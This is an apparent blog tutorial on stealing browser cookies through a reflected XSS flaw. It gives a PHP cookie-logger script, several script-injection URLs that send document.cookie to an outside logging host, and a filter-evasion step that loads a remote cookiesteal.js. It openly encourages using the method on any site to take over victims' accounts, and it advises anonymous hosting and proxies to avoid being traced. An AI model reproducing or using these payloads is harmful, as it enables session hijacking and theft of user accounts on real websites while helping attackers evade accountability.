Cookie Stealing Via XSS SECUGENIUS

In this tutorial I’ll try to explain the procedure of cookie stealing through XSS in a few simple steps. This way you can apply it to any site you want, but I’ll stick to http://www.example.com/ for this walkthrough.
Step one: Finding a XSS vulnerability
I assume everyone who wants to learn cookie stealing through XSS already knows how to find XSS vulnerabilities, so I won’t explain this in detail here.
For this walkthrough we’ll stick with a simple GET variable XSS, just to make it easier. If you understand this and have some basic knowledge about the POST method, you’ll be able to make autosubmitting pages for POST XSS vulnerabilities yourself.
Here’s our PoC XSS vulnerability:

http://www.example.com/search.php?query="><script>alert(123)</script>

When this page is loaded, a popup message saying “123″ should be displayed. This means we have our vulnerability.
Step two: Setting up a cookie stealer
If we want to steal cookies, we’ll need for example a PHP page which stores them for us. A simple cookie stealer can look like this:

<?php
$cookie = $HTTP_GET_VARS["cookie"];
$file = fopen('log.txt', 'a');
fwrite($file, $cookie . "\n\n");
fclose($file);
?>

However there are other ways to log the cookie as well. In my opinion, the best and most secure way is to use WhiteAcid’s Community Cookie Logger (CCL) which can be found at http://ccl.whitea. . .
If you use your own server or host account for cookie stealing, it’s easy for others to track you down. Therefore we’ll use CCL in this walkthrough. Registering at CCL gives you an anonymous account with a random ID number instead of a username. For this tutorial I just use a fake account with the ID 123456.
So now, we just check the CCL service by executing a test string. We go to
http://ccl.whitea. . .st_for_XSS.
We MUST include our ID number in the test URL, otherwise it won’t show up in our logs. Then we login to CCL and see the new entry with our IP, referer, user agent and of course the data “test_for_XSS”. The cookie logger works fine.
Step three: Logging a cookie
So we have a XSS vulnerability and we have a cookie logger. Now we just have to connect them to each other.
We make a new injection (instead of that alert thing) which sends the cookie data. It could look like this:

http://www.example.com/search.php?query="><script>location.href = 'http://ccl.whiteacid.org/log.php?123456'+document.cookie;</script>

If the site doesn’t use addslashes() or any other filters that mess up our injection, we have successfully captured the cookie and saved it in our CCL account! From here, we can copy the users’ cookies (most commonly the sessions) to our own cookies and get into their accounts…
Step four: Filter evasion
Let’s say we encountered the following common problem: the target page uses addslashes() on the GET variable before printing it, which kills our injection by destroying our quotes. No problem, we just have to do it another way then 
We register a new account on a free hosting site (I’ll use the FreeWebs.com account Uber0n for this walkthrough) and make a new script file there. I make a file called cookiesteal.js and give it the following content:

location.href = 'http://ccl.whiteacid.org/log.php?123456'+document.cookie;

Now we call the script through the XSS vulnerable page:

http://www.example.com/search.php?query="><script src=http://www.freewebs.com/uber0n/cookiesteal.js>

Login to CCL once again and you’ll see the new entry! However, remember NOT to register the account on the hosting site with your normal nickname and make sure you register using a good proxy so that you can’t be tracked. You can also ask XSSed.com to host your script files.